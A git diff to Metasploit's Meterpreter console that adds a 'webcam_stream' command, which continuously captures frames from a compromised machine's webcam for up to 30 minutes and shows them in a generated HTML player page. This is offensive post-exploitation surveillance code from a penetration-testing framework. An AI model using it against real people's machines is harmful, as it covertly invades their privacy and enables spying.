diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index d1526ba1ff..d9150d06b2 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -24,11 +24,13 @@ class Console::CommandDispatcher::Stdapi::Webcam all = { "webcam_list" => "List webcams", "webcam_snap" => "Take a snapshot from the specified webcam", + "webcam_stream" => "Play a video stream from the specified webcam", "record_mic" => "Record audio from the default microphone for X seconds" } reqs = { "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], + "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "record_mic" => [ "webcam_audio_record" ], } @@ -102,12 +104,15 @@ class Console::CommandDispatcher::Stdapi::Webcam rescue end if wc_list.length > 0 - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - client.webcam.webcam_stop - print_status("Stopped") + begin + print_status("Starting...") + client.webcam.webcam_start(index) + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop + print_status("Stopped") + end if( data ) ::File.open( path, 'wb' ) do |fd| @@ -124,6 +129,130 @@ class Console::CommandDispatcher::Stdapi::Webcam end end + + def cmd_webcam_stream(*args) + print_status("Starting...") + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + player_path = Rex::Text.rand_text_alpha(8) + ".html" + duration = 1800 + quality = 50 + view = true + index = 1 + wc_list = [] + + webcam_snap_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner" ], + "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The stream quality (Default: '#{quality}')" ], + "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ], + "-t" => [ true, "The stream player path (Default: #{player_path})"], + "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] + ) + + webcam_snap_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_stream [options]\n" ) + print_line( "Stream from the specified webcam." ) + print_line( webcam_snap_opts.usage ) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if ( val =~ /^(f|n|0)/i ) + end + } + + print_status("Preparing player...") + html = %Q| + + + +Metasploit webcam_stream - #{client.sock.peerhost} + + + + +
+Target IP  : #{client.sock.peerhost}
+Start time : #{Time.now}
+Status     : 
+
+
+ +

+www.metasploit.com + + + | + + ::File.open(player_path, 'wb') do |f| + f.write(html) + end + if view + print_status("Opening player at: #{player_path}") + Rex::Compat.open_file(player_path) + else + print_status("Please open the player manually with a browser: #{player_path}") + end + + print_status("Streaming...") + begin + client.webcam.webcam_start(index) + ::Timeout.timeout(duration) { + while client do + data = client.webcam.webcam_get_frame(quality) + if data + ::File.open(stream_path, 'wb') do |f| + f.write(data) + end + data = nil + end + end + } + rescue ::Timeout::Error + ensure + client.webcam.webcam_stop + end + + print_status("Stopped") + end + def cmd_record_mic(*args) path = Rex::Text.rand_text_alpha(8) + ".wav" play = true